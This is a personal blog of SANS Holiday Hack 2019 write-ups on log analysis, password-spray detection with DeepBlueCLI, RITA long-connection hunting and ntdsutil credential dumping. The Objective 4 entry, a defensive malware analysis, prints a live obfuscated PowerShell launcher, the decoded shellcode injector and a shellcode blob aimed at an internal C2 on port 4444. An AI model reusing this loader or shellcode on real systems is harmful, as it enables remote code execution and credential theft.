Monday, January 27, 2020

SANS Holiday Hack 2019 - Objective 5: Windows Log Analysis: Determine Compromised System

Objective 5:  Windows Log Analysis:  Determine Compromised System

The hints for this challenge are given by Sparkle Redberry in the Laboratory. (Go to the left side of the quad into Hermey Hall.  Continue Left into the Laboratory.)  For this one, it gives a link to a file that must be downloaded and examined:  https://downloads.elfu.org/elfu-zeeklogs.zip.

Sparkle Redberry gives a hint about Rita.  If you’ve seen Black Hills Info Sec or Active Countermeasures webcasts, you may already know what that is. The hint leads to this link:  https://www.activecountermeasures.com/free-tools/rita/.



John Strand’s Kringle Con keynote, A Hunting We Must Go is useful as well.  Here's the link for his talk.  http://www.youtube.com/watch?v=jxOZ5u2CYWw


This objective actually wasn’t that difficult so long as you don’t overthink it.  John Strand covered things to look for in this talk.  One thing that stuck out in my mind was that he stated that when a system is compromised, and I'm paraphrasing here, the C&C might have differing intervals between communication attempts, and differing amounts of data sent at a a time to trip up analysts, however, the duration time would still be fairly high overall.  

He used an analogy involving pieces of spaghetti.  You can cut a noodle into pieces, but those pieces still add up to one long noodle of spaghetti.  So, look for an IP with a high duration time to find the compromised device.  Obviously, this should still be taken with a grain of salt, and not considered absolute truth, because analysts should still consider that there may be good reason for long duration, like some cloud, management, or backup software that dials home and sends/receives data.  The key is that the organization should have a known inventory of any software, so that if anything is abnormal, it can be detected quickly because it's not in the inventory of normal software.

Rita was already installed on my version of Slingshot that I downloaded earlier from the sans.org website.  However, if you'd like to install it, it’s fairly easy.  Just follow the instructions located here in the README.md file.  https://github.com/activecm/rita.


After installation, the easiest way to use it is to make an html-report.  The other options are nice if you'd like to parse through the information via the cli, the the report does a fine job of showing you the data necessary for the challenge.  Just run the following commands (keep in mind, the . means current directory - if you're running from a different directory, add the path to the zeeklogs.)  The "elfu" following the filename in the command below can be any name, that was just an easy database name to remember

.  The following commands create the report in the same directory as the database. 

rita import ./elfu-zeeklogs elfu
rita html-report

Once the report is created, navigate to the database directory to find the report and run your favorite browser (or whatever is available) to see the report.



Click on a database in the report.  In my case, the database is elfu, because it’s the only database I created.  It displays a tabbed interface.  

Clicking on each tab displays different information that RITA detected.  Like Beacons, Strobes, Any Source or Destination IPs that may have been Blacklisted (BL), Hostnames that were Blacklisted, Long Connections, and User Agents.  We’re interested in the Long Connection tab.  Choose the source with the longest duration, and that’s the compromised host: 192.168.134.130.


SANS Holiday Hack 2019 - Objective 4: Windows Log Analysis: Determine Attack Technique

Objective 4:  Windows Log Analysis:  Determine Attack Technique

The hints for this challenge are given by SugarPlum Mary in the Hermey Hall (Go to the left side of the quad.)  For this one, it gives a link to a file that must be downloaded and examined: https://downloads.elfu.org/sysmon-data.json.zip.  SugarPlum Mary’s hint leads to this page:  https://www.endgame.com/our-experts/ross-wolf (Please click on the images below if they don't seem large enough to read.)



The hints for this challenge are given by SugarPlum Mary in the Hermey Hall (Go to the left side of the quad.)  The hint links are: https://pen-testing.sans.org/blog/2019/12/10/eql-threat-hunting/ and https://www.darkoperator.com/blog/2014/8/8/sysinternals-sysmon



I downloaded the Slingshot VM from here:  https://www.sans.org/slingshot-vmware-linux/download#, as described in this article:  https://pen-testing.sans.org/blog/2019/12/10/eql-threat-hunting/, because it already has the tool installed.  If you decide to download the Slingshot VM, you will have to login to SANS.org with your SANS creds.  This VM is in ova format, so it can be opened in a variety of virtualization software.  I used Workstation Pro simply because I’m familiar with it and it’s cousin VMWare Fusion.  In this software, an ova must be imported.   The version I’m using, you simply double click on the downloaded Slingshot image, and it starts the import process.  Name the VM, choose somewhere to store it and click Import.  The virtualization does the work for you.  Once it’s loaded and displayed, login to the VM with the creds slingshot, slingshot.  Slingshot is a version of Linux, so you may want to read about the Linux OS to use it.


Interestingly, the answer to this challenge is in the article here:  https://pen-testing.sans.org/blog/2019/12/10/eql-threat-hunting/, so people could have guessed the answer.  Many attacks use living off the land as an attack technique.  That means that they use tools natively installed on the OS to avoid detection.  In this case, it was ntdsutil.  This natively installed utility can be used to make a backup of the password hashes.


If you search through the logs, some interesting things can be found.  A good place to start seemed to be what they were asking for.  Try to find lsass.exe.  sql query -f sysmon-data.json “process where process_name = ‘lsass.exe’”  Unfortunately, this doesn’t return any results.  Why?  That's because in this case, it's a parent process to cmd.exe.  sql query -f sysmon-data.json “process where parent_process_name = ‘lsass.exe’” reveals this.  Why on Earth would cmd.exe be being ran out of a parent process of lsass.exe?  The Objective question kind of answers it.  Something was injected into the lsass.exe process, causing its evil business to appear to be carried out by lsass.exe.  What was injected into lsass.exe?  Follow the process IDs to answer the Objective.  The pid of this cmd.exe process with the parent process of lsass.exe is 3440.  So, look for this pid being used as a parent process of another process to answer the Objective question.  See, it’s ntdsutil.




For more fun, find out what was injected into lsass.exe.  Many modern attacks are performed with powershell.exe because it’s natively installed on Windows 7+ and very powerful.  So, look for the powershell.exe process instead of lsass.exe, and you’ll see a strange looking memory resident, base64 encoded, compressed powershell payload.  This is commonly done to bypass AV.  You can tell it’s encoded because it contains base64, and compressed because it contains gzip.  The string with green text is the base64 encoded/gzip compressed stream.

"C:\\Windows\\system32\\cmd.exe /b /c start /b /min powershell.exe -nop -w hidden -noni -c \"if([IntPtr]::Size -eq 4){$b=‘powershell.exe’}else{$b=$env:windir+’\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe'};$s=New-Object.System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-noni -nop -w hidden -c &([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String(‘’H4sIAKne010CA7VWbW/aSBD+nEj5D1aFhK0QjANtmkiVbs2bITiBGMxb0Wljr83C2gZ7DZhe//uNAaepmt61J52Vl/XuzOzMM8/M2Il9i9PAF2JdaQhfLs7PujjEniDmaOVDQcjtzYRz6ewMDnKb7W74KHwSxClarWqBh6k/u7urxmFIfH58LzYJR1FEvGdGSSRKwlCcE5CcvX4vCAWF74IuT+LTRY8Y3YSS6rYmhPhCvl2etYJLJz6UzRWjHIx//lzXppeKbNifR1jFol5I4k48Yo2Y3lJ+CqlF/aTFRHzOrXCIAocXhxSv3xdHPgRdsgDWNsQnfB5YEd5CcKAn5DwOPSFY0CpheO5mIdlNwwsZNshiaJ8QZimtqez2R/i9HTxU+xz6pFiy+ckDFYGCTfUIlFRw77NyBNxZqBl8JD67kySQGwTLImY82PGCsLvmBEfyDaD7VeVxNdKINXloVSAXL4VqB7YMSNH1fwbnqYEkOB5IQGA9/Xi/OLcySjjd25fMwZWZ9PDmoB7YjeI6EHsk1AqCDrcg3kQJvCa64cxkWYv4Aq5Zd2ghZ/rK5kwiHqm/ecA9qZmQO0Z6Jxymks26e7PmVkjDvVJLfGxR62MfOJbKBOHkUOExUzsAXwS86cDYtcIIy7mKWxpsn9Qq3uUv+iqMWU2CZEFmYrAK0ii9L0zx0yI+ZavEw8gOr4D+3IOUJ5k0ieaJ9nt6TsI5asMR1FB6MZQc1ZBMAhmxC4IyI/o6QjFPDgs89/c1WPGqYUjnpmbSUcUT7dVAz/iYWxBziDyvrEiFsUsBaIgaNQmamJQN7s1/yYMVcwYlAFY2kAaYCcN3+ApE0Jw8JB1qWgQ3vJWjHggcyj9BsMuFPqJ7AfqYJfY+e/9y5h8pG2KQwbAK+8guQYLeEEwacihf6SYHgj0325/1TrAj2pITlkQs9KYqglPGZ2zrZSMJ0gOAIQcgm+EgafiiHyoHDuE+E5+pFUEz7jlM91Sl1RBW6q0dPgd0HIrqN3Y9+2FJoe13dxBraila91aT9Mqm7ZhVrhRb/H7bovr9dFiYSDtaTDmkxbS+rS0HFf2qzbdGx1kj3fyh72635bU3X7h2s645jjujWM8Ke8btDOs9tTSNe7U6nFnqG7VUiWq063Wo4Pest3gz2OT4YEjuyPlFtNdJ1yYSqDvWwg152Vr33bM5ly3k7FGyUIudWgP9RC6t54Gg6a7cpsRkm/NddVboHUDI4xaqG4m7fdM7Q0aKhrU1R5+DLrly5qsTOx1vTEZ4bbH7KYmK+MRslEo9925cvM491OcsKuu1VQGdSZJQwaZbgVplWu6n6x7TRfVQcb0AoQbdDm4HIHNhz7oDAeKHSDut0aybLqyixxjPsZIBWl1jRpqUE0+dvWubJrXc+V5qczBZzLafNTb6LJhdWVZvvSe4a+MLH2180fq9mbjakZwj++xuZmUZaW/bTpojS4vVUV95lq93N7AvX35dvDpXcodIE8uqHmvaPGzbq7jMJpjBnSBLp1VZyMIG6e+2w1oqiGKh5G9JKFPGMw7mIgZzRFjgZU2/rRDw8w5ToJ0MA1gWb5+cyUJL4LSt3GQbd3dTcBJKBvbKnaI7/J5obQrl0rQ2ku7Sgki/PWwqsEqEcFQIR0MKShHs+xgVkrrKMe0yej/hepUvXP4Z/8LVN/2/uH0l+ArFQ7h/rD7/cZvgfnbgQ8x5SBpQPth5Dj53oz/xIpXXwZpUiDrzulJP+4eY371AB8MF+d/A60hbvxJCgAA''))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);\"

You can decode and decompress the payload to see what it's trying to run in memory.  A really useful tool is CyberChef.  Simply navigate to https://gchq.github.io/CyberChef/, search for From Base64 Click on it to add it to the recipe, then search for Gunzip, and click on it to add it to the recipe, then add the payload to the input area.  Once it’s added, you’ll see the payload that the Powershell payload up above is running from a stream in memory.  It's a Powershell script running in memory.  Powersheption.


Here is the fully decode/gunzipped script.  Googling the base64 payload in this script reveals this article:  https://medium.com/@tstillz17/analyzing-obfuscated-powershell-with-shellcode-1b6cb8ab5ab0.  The article shows how to decode the next base64 payload, which is actually shell code.  Googling the shell code shows that it’s a Powershell Empire C&C that was injected into the lsass.exe process.

Function a2T {
    Param ($ic6T, $ylqn)
    $cL = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object {$_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll')}).GetType('Microsoft.Win32.UnsafeNativeMethods')

return $cL.GetMethod('GetProcAddress',[Type[]]@([System.Runtime.InteropServices.HandleRef],[String])).Invoke($null,@([System.Runtime.InteropServices.HandleRef](New-Object
System.Runtime.InteropServices.HandleRef((New-Object IntPtr),($cL.GetMethod('GetModuleHandle')).Invoke($null, @($ic6T)))), $ylqn))
}

function iq {
Param (
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $jd,
        [Parameter(Position = 1)] [Type] $v2a = [Void]
)

$mSSG = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
[System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule',$false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$mSSG.DefineConstructor('RTSpecialName, HideBySig, Public’, [System.Reflection.CallingConventions]::Standard, $jd).SetImplementationFlags('Runtime, Managed')
$mSSG.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $v2a, $jd).SetImplementationFlags('Runtime, Managed')
return $mSSG.CreateType()
}

[Byte[]]$s2Tyx =
[System.Convert]::FromBase64String("/OiCAAAAYInlMcBki1Awi1IMi1IUi3IoD7dKJjH/rDxhfAIsIMHPDQHH4vJSV4tSEItKPItMEXjjSAHRUYtZIAHTi0kY4zpJizSLAdYx/6zBzw0BxzjgdfYDffg7fSR15FiLWCQB02aLDEuLWBwB04sEiwHQiUQkJFtbYVlaUf/gX19aixLrjV1oMzIAAGh3czJfVGhMdyYHiej/0LiQAQAAKcRUUGgpgGsA/9VqCmjAqFaAaAIAEVyJ5lBQUFBAUEBQaOoP3+D/1ZdqEFZXaJmldGH/1YXAdAr/Tgh17OhnAAAAagBqBFZXaALZyF//1YP4AH42izZqQGgAEAAAVmoAaFikU+X/1ZNTagBWU1doAtnIX//Vg/gAfShYaABAAABqAFBoCy8PMP/VV2h1bk1h/9VeXv8MJA+FcP///+mb////AcMpxnXBw7vgHSoKaKaVvZ3/1TwGfAqA++B1BbtHE3JvagBT/9U=")

$coU = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((a2T kernel32.dll VirtualAlloc), (iq @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $s2Tyx.Length,0x3000,0x40)

[System.Runtime.InteropServices.Marshal]::Copy($s2Tyx, 0, $coU, $s2Tyx.length)

$fM51S = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((a2T kernel32.dll CreateThread), (iq @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr])
([IntPtr]))).Invoke([IntPtr]::Zero,0,$coU,[IntPtr]::Zero,0,[IntPtr]::Zero)

[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((a2T kernel32.dll WaitForSingleObject), (iq @([IntPtr], [Int32]))).Invoke($fM51S,0xffffffff) | Out-Null


The following is the Empire C&C payload taken from the decoded payload above.

[Byte[]]$s2Tyx =
[System.Convert]::FromBase64String("/OiCAAAAYInlMcBki1Awi1IMi1IUi3IoD7dKJjH/rDxhfAIsIMHPDQHH4vJSV4tSEItKPItMEXjjSAHRUYtZIAHTi0kY4zpJizSLAdYx/6zBzw0BxzjgdfYDffg7fSR15FiLWCQB02aLDEuLWBwB04sEiwHQiUQkJFtbYVlaUf/gX19aixLrjV1oMzIAAGh3czJfVGhMdyYHiej/0LiQAQAAKcRUUGgpgGsA/9VqCmjAqFaAaAIAEVyJ5lBQUFBAUEBQaOoP3+D/1ZdqEFZXaJmldGH/1YXAdAr/Tgh17OhnAAAAagBqBFZXaALZyF//1YP4AH42izZqQGgAEAAAVmoAaFikU+X/1ZNTagBWU1doAtnIX//Vg/gAfShYaABAAABqAFBoCy8PMP/VV2h1bk1h/9VeXv8MJA+FcP///+mb////AcMpxnXBw7vgHSoKaKaVvZ3/1TwGfAqA++B1BbtHE3JvagBT/9U=")


The following image shows the decoded shell code in hex. 




If you run the shell code like the person describes in the article, https://medium.com/@tstillz17/analyzing-obfuscated-powershell-with-shellcode-1b6cb8ab5ab0, with scdbg, you find that the C&C IP is 192.168.86.128 and the port is 4444.
It’s an internal IP.  So maybe someone should check and see if that IP is compromised or one that shouldn't be on the network.



 

SANS Holiday Hack 2019 - Objective 3: Windows Log Analysis: Evaluate Attack Outcome

Objective 3: Windows Log Analysis:  Evaluate Attack Outcome

The hints for this challenge are given by Bushy Evergreen in the Train Station (the area you first arrive in, south of the Quad.  For this one, it gives a link to a file that must be downloaded and examined: https://downloads.elfu.org/Security.evtx.zip. (Remember, you can click on each image to make it larger.



The first hint from Bushy Evergreen regarding this objective is a link:  https://www.ericconrad.com/2016/09/deepbluecli-powershell-module-for-hunt.html.  The second is the DeepBlue CLI GitHub project, here:  https://www.ericconrad.com/2016/09/deepbluecli-powershell-module-for-hunt.html



I used a Windows machine to do this one because Powershell is a good tool to parse Windows logs.  First thing I did was to download Deep Blue CLI from the GitHub repository.  Simply click the Green button labeled “Clone or download”.  Next, Click on “Download Zip”.



Once the Zip file is downloaded, unzip it using your favorite tool.  Windows 10 natively extracts the files from the zip file if you simply Double-Click on it or Right-Click and select “Extract All” from the menu.


Once the file is unzipped, Navigate into the directory structure by double-clicking on the DeepBlueCLI-master, and the next DeepBlueCLI-master sub-directory.  Read the README.md file to understand how to use Deep Blue CLI.  The ReadMe file, even though it ends with .md is a plain text file.  Right-Click and click “Open With”, then choose Notepad.  A popup may show up on the screen asking which program to open it with.  Choose Notepad from the popup.  You may have to click on the “More Apps” link and choose Notepad there.  Be sure to check the box to “Always use this app to open .md files. 


If the previous instructions don’t seem to work as instructed when you navigate to “Open With”, sometimes it’s because Windows has other menus.  It may show a menu to the right-hand side, select Notepad from there.  If you don’t see it, select the Choose Another app menu item listed.  Notepad should be listed there.  I have Notepad++ which opens it automatically.


There are a couple of versions of Deep Blue CLI in the github repository that was downloaded.  One is a python version, named DeepBlue.py, which you can use natively on Linux.  It can also be used on Windows if you have python installed.  I believe later versions of Windows 10 come with python installed natively.  Read your OS documentation to see if it’s installed.  If you have other versions of Windows, python can be found here:  https://www.python.org/downloads/windows/.  There is also a Powershell version of Deep Blue CLI in the github repository that was downloaded.  It is named:  DeepBlue.ps1.  Powershell is native for Windows 7 and above.  If you don’t have Windows, you may choose to use a Windows VM that would have Powershell installed.  I chose to use the Powershell version of Deep Blue CLI on a Windows host.

Open Powershell.  On Windows 10, you can search for it.  On the bottom left hand corner, in the search bar, type Powershell.  There are a couple of different versions.  One is the simple powershell.exe which is the interactive powershell command prompt.  The other is Powershell ISE.  I prefer the ISE because it’s helpful with navigating and typing in commands. 

Deep Blue CLI is fairly easy to use.  It can automatically detect things without any parameters except the name of the event log.  Simply type:

<path to Deep Blue CLI>\DeepBlue.ps1 <name of event log>


The tool detects a password spray attack in the event log given for this objective.  
More information regarding this attack can be found here: 
https://www.us-cert.gov/ncas/current-activity/2019/08/08/acsc-releases-advisory-password-spraying-attacks

Notable symptoms of a Password Spray attack:
  • Many failed logins spread across a lot of users on one or more system(s).  Note:  DCs will typically see a lot of failed logins.
  • Usually the failed logins are about 2-5 per user because they’re trying to not get locked out so they attempt to stay under the lockout threshold.
  • The failed logins are usually done very quickly.  Many attackers use a script to do this.  Note:  This is not always the case.
  • They usually use one easy-to-guess password.  Like Spring2019.  Sadly this works because users typically use this unless they have proper training.
Note the Event ID 4648 is the event ID that is logged when explicit credentials are used.  This event notes when a user attempts to login with explicit credentials.  This can be indicative of a password spraying attack because the credentials may be used on one or more computers.  It's usually many users with less than 2-5 attempts per user so that they don't trigger account lockouts.  The explicit credentials may be used on computers in which the users don't usually logon, because attackers may not be familiar with the normal activities of the users.

Later in the list, it notes that there were some admin logins.  Usually an attacker has the goal to escalate privileges.  Not always, but a lot of the time that they do.  So looking for unusual admin logins may lead to finding an attacker.  Sometimes it can lead to false positives.  People have to manage systems.  They key to spot users that may have been compromised in this specific attack is to see if any of these users had a bunch of failed logons then a successful logon around the same time as the suspected password spraying attempt.


Sure enough, one user did have a successful login right about the same time as a bunch of failed logins.  The following image was the output from Deep Blue CLI.  Event ID 4672 is used to give special privileges to a new logon  You see an admin assistant suddenly getting new privs, you might want to look into that.  Notice the time stamp?  Right around the time of the successful admin logins.


Another way to see these failed logins is with Powershell.  Here is the Powershell command and output from when I looked up pminstix.  (The following path is whatever path you have the security log in, and whatever you named it.)

Get-WinEvent -FilterHashtable @{Path='.\SecurityKK.evtx';id=4625} | Select -Expand Message | ?{$_ -like "*pminstix*"}

Checked on pminstix because she was noted as one of the admin logons.  No output - ie no failed logons.  Lucky for us.  The syntax for Powershell is strange, but very useful when one adapts to it.  This uses the Get-WinEvent cmdlet to find events in the Kringle Con Security Event Logs with an id of 4625 (failed logons) where the message contains the word “pminstix”, which is the username I’m looking for.  Message is one of the titles of the hash table that the first part of the command, Get-WinEvent -FilterHashTable @{Path=‘<event log path>;id=4625}, makes.  A hash table is a special object in Powershell that stores key=value pairs.  In this case, the keys are the Path and ID.  This displays a grid on the screen with Timestamps of the events and the Messages for each event.  Unfortunately, when we simply run "Get-WinEvent -FilterHashtable @{Path='.\SecurityKK.evtx';id=4625}", each Message is truncated, so the next part, "Select -Expand Message" shows only the messages.  This isn’t ideal if you want timestamps, but is ok in this challenge because I only wanted to make sure pminstix didn't have failed logons.  The last part of the command simply filters out everything except what I’m looking for.  ? is an alias for Where-Object.  $_ are all the objects from the piped commands from before (so all the 4625 (failed logon) messages). Then it says to only grab any messages that contain (look like) pminstix.  You try this same command with super tree in the end in place of {$_ -like “*pminstix*”}, like this, {$_ -like “*supatree*”}, and your screen will fill up with failed logons.  Look at the timestamps though - password spraying failed logons will usually be very close to each other.  The answer to this Objective is supatree.



SANS Holiday Hack 2019 - Objective 2: Unredact Threatening Document


 Objective 2: Unredact Threatening Document


Once you’ve found the doves, exit the Student Union through the left most door.  You’ll be returned to the Quad.  On the left side, in the north part of the Quad, you’ll see a note on the ground.  Click on it.


There are multiple ways to solve this.  One of the simplest ways is to open the pdf, drag the mouse across all the text, Copy the text with Ctrl-C or Command-C on a Mac, open a text editor like Notepad or TextEdit, and paste the text into it.


Date: February 28, 2019
To the Administration, Faculty, and Staff of Elf University 17 Christmas Tree Lane
North Pole
From: A Concerned and Aggrieved Character
Subject: DEMAND: Spread Holiday Cheer to Other Holidays and Mythical Characters... OR ELSE!

Attention All Elf University Personnel,

It remains a constant source of frustration that Elf University and the entire operation at the North Pole focuses exclusively on Mr. S. Claus and his year-end holiday spree. We URGE you to consider lending your considerable resources and expertise in providing merriment, cheer, toys, candy, and much more to other holidays year-round, as well as to other mythical characters.

For centuries, we have expressed our frustration at your lack of willingness to spread your cheer beyond the inaptly-called “Holiday Season.” There are many other perfectly fine holidays and mythical characters that need your direct support year-round.

If you do not accede to our demands, we will be forced to take matters into our own hands. We do not make this threat lightly. You have less than six months to act demonstrably.
Sincerely,

--A Concerned and Aggrieved Character


SANS Holiday Hack 2019 - Objective 1: Find the Turtle Doves

Objective 1 - Find the Turtle Doves


After speaking to Santa, Continue north along the path past the Spinning Gift.  The next stop is the Student Union.


The turtle doves are in this room near the fireplace.  Click on them to complete Objective 1.  This is actually my favorite room.  The song is beautiful, and you can hear the doves singing and the crackling fire in the song.


Speaking to the doves doesn’t really help much.  I don’t speak dove, but why are they saying hoot?  Sounds like owls.  Michael and Jane are the children’s names in Mary Poppins’.  Are they on another adventure?


SANS Holiday Hack 2019 - Objective 0: Talk to Santa in the Quad

Looks like my submission didn't actually get received by Counter Hack.  I'm ok with that.  I would've only been eligible for a t-shirt anyway, and the chances of getting that are fairly slim.  I completed the whole challenge, but didn't have time to finish writing it up.  I had the objectives in my write-up, but not the terminals.  I'm just happy that I finished it.  If I'd written it up as I went along, I may've had time to finish the write-up even though I completed the last challenge last minute.  I really didn't expect to finish.  Good to know for next year.

This year's challenge was so awesome.  Never thought I could use Machine Learning to bypass a CAPTCHA or reverse engineer encryption software and decrypt a file, but somehow I did!  :)  

For the people who will inevitably comment and say that obviously I didn't get it done before the deadline, I have timestamps in my game showing when the Objectives and Terminals were completed.  Fairly certain Counter Hack has access to those as well.  So you might as well save your breath.  That won't make it to my comments either.  I moderate them.

For those who are discouraged and don't try because of trolls, it doesn't matter whether someone completes the challenge before the deadline or not.  The best advice I can give to you is to try.  You never know what you're capable of until you try.  Anything that you learn in this challenge, no matter how seemingly insignificant to you, is more than you knew before.  All of these little gains in knowledge add up over time.  Remember that, and don't worry about what other people say.


Objective 0 - Talk to Santa In the Quad



You begin in the train station.  Santa happens to be in the train station.


Speaking to Santa-in-the-Train-Station reveals stats from last year’s Kringle Con and other interesting information.

To find "Santa-in-the-Quad", exit North from the train station and walk north until you see Santa-in-the-Quad.  Santa-in-the-Quad is located north of the train station and south of the spinning gift.  Nice to see he travels by Mary Poppins’ umbrella. :)

  
Santa describes the objectives for Holiday Hack 2019.


Oh no!  He's missing turtle doves!

Wednesday, January 15, 2020

SANS Holiday Hack 2019

Another SANS Holiday Hack has come and gone.  Completed the whole challenge this year.  Had quite a bit of fun doing so.  My daughter even got involved for a time.  She helped me put the scraps of paper back together from a villain poorly trying to hide their tracks.  Typical villain - leaves scraps of paper near the fireplace, but not staying to make sure that the job is done.  Too be fair, they couldn't have the smart turtle doves spotting them and ruining their dastardly plans.  The probably heard the birds, and left before the birds could see them.  We could've used GIMP or any number of other image editing software, but there's just something fun about watching kids solve the puzzle and watching their eyes light up with comprehension when they can read the message. :)  I turned in most of the write-up on time, but not all of it.  Plan on posting the write-up and terminals within the next few days.  Having to juggle being a mom, working, and being a wife.  Not always easy.  Posting the solutions is for me anyway - kind of like a journal detailing how much I've learned.  Sometimes I feel I know so little that it's nice to go back and see what I've done, and prove to myself that I'm capable of learning, and have learned a little.  Not sure anyone else really reads these.